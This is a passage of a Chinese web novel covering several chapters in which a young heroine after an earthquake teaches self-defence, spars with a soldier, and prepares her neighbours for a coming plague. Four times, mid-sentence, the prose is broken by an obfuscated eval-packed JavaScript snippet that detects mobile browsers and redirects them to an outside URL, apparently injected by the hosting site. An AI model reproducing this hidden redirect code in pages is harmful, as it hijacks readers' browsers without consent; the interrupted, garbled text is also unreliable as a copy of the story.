仿佛知道是在夸自己，小狼狗歪着脑袋，兴奋地摇晃尾巴。 宁竹从它嘴里取下野鸡，没有热水去毛，她掏出匕首，直接动作熟练地把皮给剥了下来，然后将肉切成小块，丢给了小狼狗。 小家伙一口一口吃得喷香。 宁竹低头看它，心中却不自觉想起今日在城中见过的景象，忍不住在心中呼唤起系统。 【系统，解毒丸都能解什么毒？病毒行不行？】 她本来是不抱着希望的，毕竟系统唯一说过的话就是提醒她签到成功，外加奖励内容。 可是没曾想，这回系统居然真的给了回复，话音刚落下，解毒丸的详细信息就浮现在她的脑海中。 【解毒丸：具有广泛解毒功效，包括但不限于疫毒（无副作用）。】 宁竹眉头微动，这下心中放松了不少，通常大灾之后必有大疫，有了解毒丸兜底，她就没那么畏手畏脚了。 她继续在心中呼唤系统，想看看能不能再套点信息出来，可是再没有收到任何回复，只能遗憾放弃。 智障系统还是那个智障系统，不过至少解锁了它的新功能，对于签到所得物品还能进行解释，也不错了。 等小狼狗吃得肚皮鼓鼓，野鸡还剩下一半，宁竹一并给它包好带回去，当做它明日的口粮。 等他们打道回府时，卞含秀也刚回来，眉眼都舒展了些，看起来心情还不错。 宁竹还以为她是打听到季新承的消息了，谁知她一开口说道： “小竹，你昨夜去打水时，是不是遇到了曾童生家的那个小子。” 宁竹愣了一下，翻出昨夜的记忆，点点头：“是啊，怎么了？” 莫不是那曾童生还想告状？ “你这孩子，受欺负怎么不说。”卞含秀嗔怪道，眼中带着几分心疼。 宁竹拍拍手上的灰，笑了笑：“不是什么大事，没受欺负，已经解决了就没跟你们说。” “下次可不许这样了，你别怕，有秀姨给你撑腰，绝不让你和小荷被那臭小子欺负！”卞含秀又拉住她，语气中带着几分欣喜，“也是多亏了你！我今日遇到桐儿他们舅舅了！都好好的！” 这两日，她除了担心儿子，还记挂着娘家那边，如今总算是放下一桩心事。 卞含秀的老家并不在涉州城，而是离这里不远的县城，她是嫁给季元武后才搬来的，两人一起白手起家，最后才定居在此。 这点跟宁家夫妇有些相似，不过后者上面已经没有什么长辈亲戚了，卞含秀娘家还有一个哥哥，虽然距离有些远，但是关系一直都很不错。 “昨夜他们听见有人说起小竹的名字，想起你们姐妹俩住在隔壁，就猜我们是不是也在，就往这边一家一家问，恰好和我遇上了。” 季新桐也高兴道：“舅舅怎么会来这里的？舅妈和瑞萱她们都来了吗？是来看我们的吗？” 卞含秀点点头，语气轻快：“他们刚接了一笔药材生意，正运货来涉州城，想顺道来看看我们，没曾想路上就遇到了地龙翻身，连城都没进去，如今就住在河对面。” 季新桐弯了弯眼睛：“太好了！那阿娘怎么没叫舅舅他们过来？” 卞含秀解释道：“官府来人正在商量买下你舅舅手里的那批药材，他们一会儿办完正事就来。” 宁竹心头一动，或许是今日在城中见到的景象让她感到了不安，除了解毒丸，她总是想多留一些后路。 她开口道：“秀姨，可以让卞家舅舅匀一些药材给我吗？不拘是治疗什么的，我付银钱。” “跟我还说这些，你放心，我哥早就暗中留下一批药材了，到时候我帮你要来。”卞含秀笑着拍了拍宁竹的手背。 宁竹笑着道谢：“谢谢秀姨，该付多少我照价给。” 如此是最好的，她手里不缺钱，药材这种东西多多准备没坏处，有备无患，万一有个头疼脑热的，也好有个缓解。 卞含秀知道她的脾气，也就不再推辞。 说完了正事，眼下手头也没什么急着要做的，宁竹索性叫上宁荷跟季新桐，之前还答应过要教季新桐一些拳脚功夫。 宁竹带着两人一起走时，还特意问了问卞含秀。 卞含秀正忙着清点存粮，想着能拿什么东西出来招待自家兄弟。 她头也不抬地挥了挥手：“我就不去了，你们去玩吧。” 季新桐见状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160885|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还想留下来帮忙。 “用不上你们，”卞含秀一边忙，还抽空问了一句，“小竹这是跟你爹学过一两手？” 宁竹自己都还没有想好怎么解释，卞含秀倒是给她找好了理由。 宁父曾经做过镖师，与宁母成婚后才改行的，正因如此，他才会和季元武成为好友，还专门给儿子定制匕首，教导武艺，让宁松有了独自出去闯荡的勇气。 原身只在小时候看见过宁父指导宁松练武，但因为时间过去太久，脑海中的记忆早就模糊不清了，宁竹也不知道和师门的武艺是不是有些相似之处。 此刻，她也只能顺势应道：“是啊，阿爹教我的。” 卞含秀闻言，笑着打趣道：“回头让桐儿给你父亲上柱香，学了拳脚，也算是半个徒弟了。” 宁竹还没来得及说话，倒是季新桐猛地摇了摇头，煞有介事地说道：“教我的是小竹，我该叫她师父才对。” 卞含秀愣了愣，下意识道：“那这不就差辈了嘛……” “好像是。”季新桐也后知后觉反应过来，不过很快又道，“那就各论各的吧。” 卞含笑出声来：“得，我看行，回头等日子好起来了，你再行拜师礼。” 她们一言一语，就这样愉快的定下了，弄得宁竹有些哭笑不得。 现在都不知道还有没有师门存在，她也不在乎这些虚礼了，不过看两人兴致勃勃的，也没有出声反对。 卞含秀还要忙着做事，也不拉着人说话了，放他们三个去练武。 宁竹带着她们去的还是打水路上的那片空地，那里经过的人比较少，安静正适合练功。 宁竹挽起袖子，没急着教人，而是先看了看宁荷，让她练一遍之前教过的动作，检查是不是已经忘记了。 本以为小孩记忆力不好，这两天怕是已经忘得差不多了，没曾想，宁荷一套动作下来，竟然分毫不差。 宁竹眼含着赞许，照例地表扬了一句：“不错，练得很好。” 宁荷听到夸奖，暗自有些小得意，却又努力端着“师姐”的架子，小脸绷得严肃，看着格外可爱。 看着她那副模样，宁竹和季新桐对视一眼，都有些忍俊不禁。 嗯，还是个要面子的小卷王。 宁竹教季新桐不打算像教宁荷那样从最基础的开始，一来是她没那么多时间，二来是季新桐也过了练武的最佳时期，根骨资质也一般，学点能够迅速防卫的招数就够了。 宁竹把现代的防狼招数和最基础修身炼体的法子都教给了两人。 她站在季新桐面前，语气严肃：“不管对方多么强壮，眼睛、鼻子、喉咙、腹股沟这些部位都是他身体最脆弱的地方，就找准这些地方下手。” 然后找了棵树作为配合，跟两人仔细讲解，怎么戳眼睛、拳击喉咙、掌击下巴、握拳肘击、砍肋击胸、抬脚踢腿…… 季新桐听得很认真，哪怕是说到抬腿踢裆的时候神色有些不自然，不过很快就点点头，表示自己记住了。 宁竹继续说道：“与人对峙，最忌讳露怯，你不要害怕对方，越是危急越要冷静。” “你也来试试，”她指了指季新桐身上的小挂坠，“先取下来吧，免得等会儿伤到。” 季新桐点头，将腰间的挂坠取下来交给宁竹。 宁竹拿在手中看了一眼。 那是一只木头雕刻的小蝴蝶，外形小巧精致，入手温润细腻。 季新桐面容柔和，笑着说：“这是前些年承哥儿送给我的，他亲自做的。” 宁竹称赞道：“很好看。” 刀工不说多么精湛，但看得出是用心做的，难怪季新桐这么爱惜。 宁竹将小蝴蝶小心收好，站在一旁看她们两人练习，时不时上前纠正动作。 正当三人练得起劲时，忽然，远处传来一阵呼喊声。 “新桐！新桐……” 15. 偶遇宗明川 远远就听见有人在叫自己的名字。 季新桐停下动作，侧耳听了几秒，末了眼里带着惊喜：“好像是瑞萱！” 卞瑞萱是季新桐舅舅独生女，两人感情很是不错。 得知是卞家来人了，宁竹不想打扰他们团聚，至于药材的事，秀姨肯定会帮她的，不用再特意回去了。 宁竹温声说：“你先去吧，改天再练。” 季新桐愣了下：“你们不跟我一起回去吗？” 宁竹：“嗯，我再带小荷练一会儿。” 季新桐也很久没有见过舅舅他们，早就有些迫不及待了，听宁竹这么一说，她点了点头，提着裙子朝着声音的方向跑过去。 宁竹目送季新桐离开，见她在不远处亲密地挽住一位少女的手臂，两人相携而去，这才收回视线。 接下来的时间，宁竹专心教导宁荷，对于练武这件事，两人都万分认真投入，浑然不知时间过去了多久。 突然，宁竹耳朵微微一动，倏地将目光投向某处。 紧接着，大树背后走出来一个人，左边脸上有道格外狰狞的伤疤，正是宗明川。 宁竹目光微顿，瞥见他手中拿着一封拆开的书信，方才就是听见了鸽子翅膀轻轻扑扇的声音，她才注意到这里有人在。 表面上看来，他们似乎只是无意间撞上，实际上宁竹不知宗明川来了多久，又看到了多少。 她先朝对方笑了笑。 “宗伍长。” 见自己被发现了，宗明川也不回避，将手中的信件塞进怀里，径直走了出来。 他看向宁竹的眼神中带着些探究，只觉得对方实在敏锐，再回想刚才她的一举一动，也愈发坐实了他那晚的直觉—— 这小姑娘确实不一般。 宗明川是特地来此处等信的，过了一会儿就看见有三个眼熟小姑娘过来了，他没有出声，本以为她们玩一玩，很快就会离开。 谁知道，随后就看见宁竹开始教授另外两人一些招数，动作干脆利落，招招直击要害，简直堪称“流氓”。 宗明川看得哭笑不得，但也不得不承认，宁竹教的招数确实是适合普通人用的，也是最快速有效的反制手段。 不过那几招在稍微有点功夫的人面前还是如螳臂当车般，着实浅显。 可是待到后来，另一个小姑娘走之后，宁竹教她妹妹的功法看着就不简单了。 初看时不起眼，实则暗藏玄妙，让人不由心生赞叹，绝非一般人能习得。 这么想着，宗明川也就问了出来。 “哪处习得？所名为何？” 宁竹心中对他的疑问早有预料。 倘若只是两个小姑娘哪里能让对方停下驻足，有的也只是倒海劲了。 她直接沿用了之前对卞含秀的说法：“家传的，倒海劲。” “这名倒是配得上。” 宗明川语气里只有赞赏，他早已有师门传承，自然不会觊觎这武术功法。 自从被贬来到这涉州，他太久没有痛快打过了，此时也有些技痒。 没等宁竹回应，宗明川毫无预兆地出手了，拳头直击面门。 宁竹站着没动，反应却极快，下意识地抬手抵挡，强劲的拳风荡起她眉间的发梢。 下一瞬，宗明川就被巨大的力气震得虎口发麻，后退半步收回手，惊异的同时也着实感到痛快，向来严肃的面孔也带上了几分笑意。 “好！再来！” 话音落下，宁竹的身形一动，速度快得惊人，眨眼间就已经绕到了宗明川身后。 她的身法灵巧如燕，双手握拳出招时的气势却如猛虎，其中蕴含的力道让人心惊不已。 片刻之后，宗明川额头逐渐渗出细密的汗水，宁竹倒是显得游刃有余，连气都没喘，甚至还能抽空让宁荷抱上“嗷嗷”叫着就要冲过的小狼狗走远一些，免得误伤他们。 转眼就过完几十招，宗明川咬牙，被眼前的女孩逼得连连后退。 宁竹回身一个飞踢，气势汹汹。 宗明川心头一惊，急忙侧身扭头，步子向后撤了两步，不敢与之对上。 前者头发都没乱，站直身体，在原地朝宗明川拱手见礼。 出于对强者的尊敬，宗明川也收敛了身上的锋芒，微微倾身回了一礼。 他眼中带着掩饰不住的惊诧，没想到这不起眼的涉州城竟是卧虎藏龙，宁竹的武功远在他之上，简直是后生可畏。 想必除了天赋异禀外，宁竹也是下了多年的苦功夫的，毕竟方才那股巨力实在让人心惊，要不是他收手及时，怕是多多少少要受些内伤。 宗明川心中暗自叹气，也就是现在练习也晚了，不然他对这“倒海劲”是真的心动。 此刻，他看向宁竹的眼神变了，敬畏的中带着欣赏，想着这小姑娘一言一行都十分合眼缘，便开口提点了一句。 “你妹妹没有学成之前，最好不要在有心人面前展露出来。” 世上不缺慧眼识珠的人，可万一被小人盯上，这样绝佳上等的功法会惹来祸患。 宁竹不置可否，在她看来，武功修习来，可不是为了藏着掖着的。 这次跟宗明川切磋，她的收获也不小，虽然武力值还尚未完全恢复到前世的水平，但是这具身体年纪还小，再加上她的经验，必定会取得比前世更高的武学境界。 宁竹语气平静却自信：“必会让他有来无回。” 闻言，宗明川愣了一瞬，回过神来后大笑出声，他不是嘲笑宁竹，而是笑自己。 年轻气盛，或许也不是什么坏事，像他这样畏首畏尾才是...... 他眼中情绪复杂万千，笑意渐渐收敛。 宁竹自然也看出来了。 平心而论，宗明川武艺虽不及她，却也是难得的高手了，至于他为什么会沦为一个小小伍长，龟缩在此地，她没那么重的好奇心，也无意探究。 宗明川又问：“季家和你有关系？” 一旁的宁荷看他们不像是要继续动手的样子，小跑到姐姐身边，一双大眼睛里满满的全是崇拜。 宁竹摸了摸她的小揪揪，回答宗明川的问题：“季叔和秀姨都是对我关照有加的长辈。” 宗明川微微颔首：“季家子的事我会让人去注意的。” 季家夫妇为此来找过，他允了，底下人收了好处自然也会帮忙留意，不过有他吩咐一声，总是会更加上心的。 他这是心中有几分惜才，所以才愿意卖这个面子。 宁竹也承这个情，麻溜打蛇上棍，笑着道：“如此多谢宗叔。” 这个时代十四五岁就成婚的大有人在，她叫一声“叔”不吃亏，反倒是占了便宜。 宗明川一看就不会是普通的士卒，有大腿在面前不抱是傻瓜，况且她现在就是一个十岁的小姑娘，这样叫一点毛病都没有。 被她坦然张口这么一叫，宗明川没有反驳，点头应下了，面容肉眼可见柔和两分，眼角的刀疤看着都没有那么狰狞。 这时，宁荷扯了扯她的衣摆：“阿姐，新桐姐姐来了。” 聊得太过专注，宁竹都没注意到，远处走来一个纤细的人影，正是季新桐。 看见来人了，宗明川吹了一声口哨，声音清脆悠长。 一匹枣红色的骏马从丛林中奔来，在他面前停下，光泽亮丽的鬃毛随风飘扬，身躯高大，四肢强壮有力。 宁竹看得眼睛都不眨，心中暗暗赞叹。 帅！ 宗明川拍了拍爱马的脖颈，拉住缰绳翻身上马，动作流畅行云流水。 他低头道：“有事可来营帐寻我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160886|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁竹轻轻点了点头。 似乎是怕更多人看见，宗明川不再多言，转身骑马朝城中而去，马蹄声渐渐远去。 宁竹望着他离开的方向，心中止不住的艳羡。 试问谁不想拥有一只神骏威武的马儿呢，待到地动结束，她必然也要给自己买一匹这样神骏的马。 等宗明川的身影消失在视线中，季新桐也走到了跟前。 “在看什么呢，该回去吃饭了。”季新桐的声音轻柔，目光顺着宁竹刚才望去的方向扫了一眼，却没看见有人。 宁竹顺着宗明川的意思，没有提及刚才的事，笑着摇了摇头：“没看什么，回去吧。” 宁荷的小脑袋瓜没有考虑这么多，跟着宁竹练了一下午，肚子早就饿得咕咕叫了，闻言欢呼起来，立马带着小狼狗打头阵往前冲。 “小狗！走！” “嗷呜！”小狼狗也跟着兴奋地叫了一声，跟在她屁股后面追。 一人一狗的友谊来得莫名，两道同样圆滚滚的欢快背影，看得人忍不住会心一笑。 吵吵闹闹回了帐篷，宁竹也见到了卞家人。 一位穿着长衫，略显文弱的中年男人，身边还有位美妇人，以及年纪看起来比季新桐略微年长一些的少女。 这便是卞含秀的兄嫂和侄女，原身小时候见过几回，宁竹来这里之后是第一次见。 季元武也告假回来了，灾情才刚过去，地方简陋，他们正围坐在由木头简单搭建成的桌子旁边闲聊，双方的眼圈都有些微微泛红，大概是之前哭过了。 宁竹领着宁荷叫人，卞家舅舅笑着应了，一看就是脾气软和的人，卞家舅母心疼地摸了摸宁荷的发髻，唤了两声“好孩子”，语气中都是怜爱。 卞家姐姐看着长了一张明艳大气的脸，因家中父母恩爱，又只得了这么一个女儿，万般疼爱不说，更是让她早早就经手了家中的买卖，养成了个干脆利落的脾气。 卞瑞萱亲近地一把拉过宁竹的手：“我都听桐儿说了，多亏你了小竹，不介意我这么叫你吧？回头你想要什么药材跟我说，保管给你弄来。” 卞家舅舅看着女儿的眼神略显无奈。 他名为卞景辉，家住原北县，此县背靠新济山，是涉州最大的山脉，其雨水丰沛，植物丰茂，是一座天然药库，因而催生出许多药材商人，他就是其中之一。 听女儿提起这个话题，他便也说道：“我都听阿秀说了，只是不知道你要多少？” 宁竹对药材不是很懂，正待仔细询问，卞含秀就站起身来打断。 “晚点再聊，饭菜都要凉了，先用饭吧。” 大家遂从善如流坐下，桌上摆着几碟菜肴，看着还算丰盛，如今条件有限，卞含秀也是费了平生全部功力做了这顿饭。 在坐的都不是外人，一顿饭边吃边聊，宁竹从卞景辉手中定下了不少药材。 正巧也是因为上半年少雨，山中药材长得没有往年的好，卞景辉想着将上半年的药材攒在一起卖，因此准备得比较多，种类比较齐全。 因为是熟人，宁竹钱给得很利索，卞景辉也特意嘱咐让自家伙计拿配好的药包过来。 其中有治疗腹泻、风寒、痢疾等等大多常见病症的，另外还有一根几十年的山参，宁竹全部都要了。 只是其他人都有些不解。 卞含秀的声音中带着些许疑惑：“小竹，你拿这么多药做什么？” 在座的都不是外人，宁竹也不打算藏着掖着。 她望了望四周，确定没有人注意到，压低声音把自己能想到最坏的结果说了出来。 “近几日先是大雨又是高温，想着大灾之后必有大疫，多准备些以防万一，总是不会有错的。” 此话一出，结合今日见证的惨烈场景，季元武最先变了脸色。 16. 商量对策 众人起初只是想着城中死伤众多，药物必定紧缺，倒是没有往瘟疫方面去想。 如今被宁竹这么一点破，也瞬间意识到问题所在，帐篷内的空气陷入了沉寂，每个人的面色都变得严峻起来。 “瘟疫”二字人人闻之色变，它能在极短的时间内能带走无数鲜活的生命。 三十多年前，千里之外的江州就曾爆发过瘟疫，十几万人的城池死得十不存一，只余空荡荡的屋子，目光所及之处皆是疮痍。 彼时天下皆为之震动，那场瘟疫的惨状，至今仍让人心有余悸，仔细想想，与如今的涉州城何其相似！ 季元武眉头紧锁，开口道：“桐儿，你带着瑞萱和小荷去旁边玩。” 他是想把孩子们支开，毕竟话题还是太过敏感，稍不注意就会祸从口出，既担心孩子们沉不住气，又担心被有心人听见。 季新桐被“瘟疫”两个字吓得小脸煞白，紧紧咬着唇，想到如果真的爆发瘟疫，他们一家人该如何是好，一时心乱如麻，连父亲的吩咐都没听见。 卞瑞萱到底是跟着卞景辉跑过不少地方的，有过历练，此刻心底也慌，不过还算是稳得住。 “我带他们两个在周围转转。” 说完，她站起身，主动握住季新桐的手，又俯身想去牵宁荷。 宁荷有些怕生，下意识躲开，手指紧紧地抱住阿姐的胳膊，别过头，神情有些抗拒。 眼下要商议正事，宁竹不好把她留在身边，便把小狼狗放在宁荷脚边，认真说道。 “去吧，带小狗去玩，再替姐姐看着有没有坏人在偷听。” 听着阿姐发话，宁荷虽仍旧有些不乐意，但还是点了点头，松开手跟着一同去了。 三人没有走远，就在帐篷周围转悠。 宁荷牢记姐姐给的差事，目光炯炯有神，绝不放过一个可疑的身影，不知道的还以为她在抓小偷呢，把路过的人都给看得心里发毛。 这边，宁竹收回视线，转过头来继续说道：“今日我在城中看见许多尸首，季叔可知官府会怎么处理？” “有人认领的都带回去了，无人认领的还放在今日你见过的空地上，听官兵们说，会一齐进行掩埋。”想起白日里看见过的情境，季元武脸色不太好看。 他还有些没有说出来。 空地上多的是一家老小全部被掩埋的无名尸，经过昨夜暴雨后又急速升温，好些尸体都已经开始腐烂，不成人形，苍蝇成群结队地在上面盘旋。 可纵使季元武不说，宁竹也能想象得到。 温暖潮湿的天气，再加上大量遇难者的尸体未及时掩埋处理，简直就细菌和病毒的温床，短短几日之内它们就会大量滋生，从而成为传染源。 如今安全的地方不多，灾民们大量聚集，有意保持卫生干净的百姓少，随处可见污秽之物，这样的环境十分容易导致传染病扩散。 这个时代不管是医疗资源还是医疗手段都相当匮乏，一场简单的风寒就能让人丧命，更别说大规模的传染病，活下来的希望简直是微乎其微。 宁竹也真是越想越心惊。 好不容易才拥有的重生机会，她比谁都珍惜自己的命，绝不会将自己置于如此险境！ 宁竹有心想劝，让季家夫妇明日别再去城里，可卞含秀早就和卞家舅妈曹余馥说好了，明日让她来帮忙照看孩子们，她和季元武两人都进城去打听季新承的消息。 宁竹明白他们寻儿心切，也阻止不了，她只能沉声道：“未病先防，有病防变。季叔和秀姨明日去城中时，切记做好防护，可以用细麻布缝制面巾，沸水煮过晾干佩戴上，遇腐尸则能避就避，归来前将外衫褪下焚烧，在外也千万不要喝生水。” 这个时候再怎么小心都不为过。 听了宁竹的话，两口子都没多想，顺从地点了点头。 卞景辉冷眼瞧着这一幕，愈发觉得妹妹这邻居家的小孩有些与众不同。 没瞧见连他家向来胆大的萱娘都被吓得六神无主了，眼前这小孩尚且神情自若，还能冷静分析将来形势，叮嘱他们防疫。 她身上丝毫没有一般孩童的天真，如果不看外表，绝对想象不到她不过是个才满十岁的女童，举手投足间自带一股镇定自若的气场，让人不自觉听从顺服。 属实是不同啊。 宁竹察觉到卞景辉若有所思的目光，没有多在意，只是问道：“不知卞家舅舅能不能弄来粮食？地动之后，农田被毁，怕是会绝收，该早做打算。” 卞景辉闻言，低声迟疑道：“涉州不算贫瘠，想必粮仓中的存粮足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169913|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够支撑到朝廷运来赈灾粮，况且涉州毗邻壁州，那里粮食是不缺的......” 壁州是有名的鱼米之乡。 宁竹抬眼，淡声道：“可是这一切都基于涉州没有发生瘟疫，不是吗？” 卞景辉一时语塞，张了张嘴，却不知该如何反驳。 是啊，但凡涉州城有了疫病的苗头，怕是最贪心的商人也不敢轻易再来此处，更遑论做生意买卖，那时就算是有粮食也运不进来。 宁竹心中还有些未曾问出口的：倘若瘟疫蔓在涉州城中延开来，朝廷当真会管吗？又管得了多少？ 一旦瘟疫爆发，朝廷会派人来赈灾的几率小之又小，按照从前江州的惯例，只会是封闭整个涉州城，到了那个时候，他们通通都被困在城中，无水无粮的，那才是叫天天不应，叫地地不灵。 宁竹没有再说话，只是默默盘算着地窖中的存粮，已经够支撑她和宁荷离开涉州，再多了她也带不走。 对，她已经有带上宁荷跑路的想法了。 反正家中只剩她们俩，宁荷还小，宁竹一个人说了算，她才刚来半个多月，对涉州也没什么所谓家乡之情，并不留恋，说走就能立马动身。 可是卞家和季家不同，他们没有存粮且人口又多，要离开的话，路上没有足够的补给是走不远的。 想到这里，宁竹的手指轻轻抚过怀中那块张德明给的玉佩。 如果卞景辉弄不来粮食，她只能动用手中的玉佩，想来张家这样的大户，肯定给自家留有后路，只能办法从他们手中给季家买来一些粮食了。 算是还了他们的照顾之情。 空气沉默半晌，卞含秀忽然抬起头，眼中带着决然。 她深吸一口气，语气里满是破釜沉舟的意味：“我觉得小竹说得对！我们是应该早做打算，等找到了承哥儿，我们就先离开涉州城避一避，反正家中的房子也塌了，此刻也没地方可去，只要地契在，等一切都平息结束后，我们大可以再回来，不过就是从头开始，没什么大不了。” 她嘴上说的轻松，可这个时代的人都讲究故土难离，能下定决心一走了之的，毕竟是少数。 卞含秀不愿意去想，若是找不到季新承该如何是好，他们夫妻俩即便是不顾及自己，总得顾及女儿的。 17. 瘟疫苗头 季元武没有反驳，算是默认了妻子的决定，他将视线投向眉头紧锁的卞景辉。 “粮食的事舅哥能否想想办法？” 家里的粮食不多了，好在他回去一趟将家中的存银都取出来，如今还有银钱可以支使，不然还真是捉襟见肘。 卞景辉身边可不止有妻女，还有跟着一同前来的两个伙计，他们的家都在原北县，定然是要一并带走的，如此一来需要的粮食就更多了。 他思忖半晌，缓缓开口道：“我与方家粮铺的掌柜有几分交情，只是不知现下他是何状况，今日有些晚了，待到明日一早我就去他家铺子里瞧瞧。” 话是这么说，可他心中也没报多少希望，城中的屋舍基本都已经坍塌，怕是方掌柜家也不能幸免。 曹余馥蓦地出声：“不如跟官府的人商量，用药材换粮食？” 闻言，宁竹率先摇了摇头：“少量可以，换得多了只怕不成，假若我们能猜到有大难临头，那官府的人只会更早察觉。况且，换了粮食之后，在官府面前挂了名，要是想走就更难脱身了。” 这种时刻跟官府做交易换粮食，还是太显眼了些。 卞景辉也在心中权衡利弊，咬了咬牙道：“我还藏有一批药材没出手，事到如今，只能有多少粮食换多少了，明日我先去方掌柜那看看，如果不成，我就去跟买卖药材的官吏商议。” 这属于没有办法的办法，眼下药材的珍贵程度和粮食不相上下，他们想必是会同意的。 卞含秀也给他想了一个换粮借口。 “离开涉州的事不能让太多人知道，如若官吏问起，就说替你妹妹我换的，家里人多，缺粮食。” 这理由倒也说得过去，卞景辉拍板定下。 “待明日换到粮食，我们即刻动身，小竹这里我也想想办法。” 如今大家就是绑在同一条绳子上的蚂蚱，宁竹也没有要瞒着他们的意思。 “多谢卞家舅舅，跟官府换粮食的话，不用考虑我和宁荷，要量太大免得节外生枝，我之前在家中地窖里存了不少粮食，应该足够支撑一阵子了。” 此话一出，所有人的目光都看了过来，宁竹满脸坦然。 “就是被饿怕了，所以多囤了一些。” 卞景辉忍不住多看了宁竹两眼，这孩子别的不说，运气就很不错。 末了，又听她问：“去哪里有定数吗？” 要知道路引就相当于古代版身份证，没有官府盖章的路引，他们是去不了远的地方，甚至于连大一些的城池、县城都进不去。 卞含秀试着提议道：“要不回原北县？” 原北县也相当于卞家大本营，唯一担忧的就是，不知那里现在是何种情形，不过在无处可去的情况下，也算是个不错的选择了。 曹余馥是最高兴的那个，卞家老人早已去世多年，可是她爹娘尚在，地动以来心里一直惦记着娘家人，能回去瞧瞧自然是最好。 无人反对，大家一致默认下来。 “那就先回原北县看看！” 几人围坐商议，直至夜深才散去。 —— 隔日又是大晴天，烈日搞搞挂在天上，照得人懒洋洋的，却给了宁竹一种强烈的不安感。 早上去打水时，沿路住在这一片的灾民肉眼可见的增多，几乎都快没有下脚的地方，最重要的是，她还听见了许多人咳嗽的声音。 明明是夏天，那些人却双臂抱紧，看着一副很冷的模样，且双眼呆滞，脚步虚浮，透着一股沉寂死气。 不安感在她听见河边几人的聊天时达到了顶峰。 “二勇他娘，他爹这是怎么了？”一位年老的妇人惊讶问着迎面走来的一对年轻夫妻，他们身边还跟着个六七岁的孩子。 妇人说话亲近，声音带着关切，听着像是关系还不错的邻居。 短短两天时间，原本健壮的男人就瘦得两颊凹陷进去，此刻正虚弱地倚靠着身边的妻子，眼睛半阖着眼回话。 “是李婶儿啊，咳咳，兴许是咳咳，那日淋了雨，咳咳咳咳......”男人说出的话句不成句，没说两个字就费力咳嗽起来，像是要把整个肺都给咳出来似的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169914|164575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这架势，倒是把对面的李婶儿吓了一跳。 “这这这，快别说话了，病得这般严重，快些去寻郎中！” 一旁男人的妻子伸手扶着他，替他顺气，眼中是止不住的心疼，替他回答了李婶儿的话： “那日当家的淋了雨，原本就是咳嗽了两声，往常喝点姜汤也就没事了，本以为没有大碍。可昨日做工回来后，咳嗽的症状却是越来越严重了，如今这般情形，城中的医馆都倒了，实在是不知道怎么办了。” 身旁的孩子也被男人咳得面色涨红，眼珠凸出的模样吓着了，忍不住哭出声来，只知道嘴里一声接一声的喊着“爹”。 见此，女人也跟着哭，不知道这种倒霉的事怎么会发生在自己身上。 家中遭灾，儿子又还小，丈夫在这节骨眼上生了大病，还没处去寻郎中，只能眼睁睁看着他一天比一天虚弱，简直觉得天要塌了。 这年头身上有病也是不好冲撞别人的，女人抹了抹眼角的泪水，红着眼眶，勉强朝着李婶儿露出一个笑：“我带孩子他爹去歇息，您快去忙吧。” 李婶儿跟小夫妻是多年的邻居，也算是看着长大的，将他们一家人的惨状看在眼里，实在是有些不落忍，于是好心出主意：“我听人说，城中有专门安置伤员的地儿，那里有大夫呢，不然你带二勇他爹去瞧瞧，舍些银钱，总归是个希望。” 女人眼睛顿时一亮，也回过劲儿来了，总归是看到了点希望，连声朝着李婶儿道谢，带上儿子，扶着丈夫就往城里去。 宁竹远远听完他们的对话，不敢多停留，远离刚才他们谈话的地方，宁愿多花一些时间绕路回去。 她一路上都在想那个染病的男人，宁竹不是大夫，也看不出来男人得的是什么病，不过不妨碍她从女人的话音里读出了不对劲的地方。 或许最初咳嗽的时候，男人确实是淋雨着凉了，可是后来听女人说，喝下姜汤也好了，那之后的病症加重，问题就只会出在昨日进城做工这件事上！ 宁竹顿时觉得不能再拖了，如果可以，她今日就想离开涉州城。 18. 季新承 时间紧迫，宁竹脚下生风，步履如飞。 昨夜众人已经商量好了分工，卞景辉去找方掌柜，卞含秀和季元武进城不做工，只专心寻人。 宁竹则是再返回家中，趁着官府还没有清理到他们巷子，把地窖中剩下的粮食全都背回来。 如此哪怕是有突发情况，应该也不至于手忙脚乱。 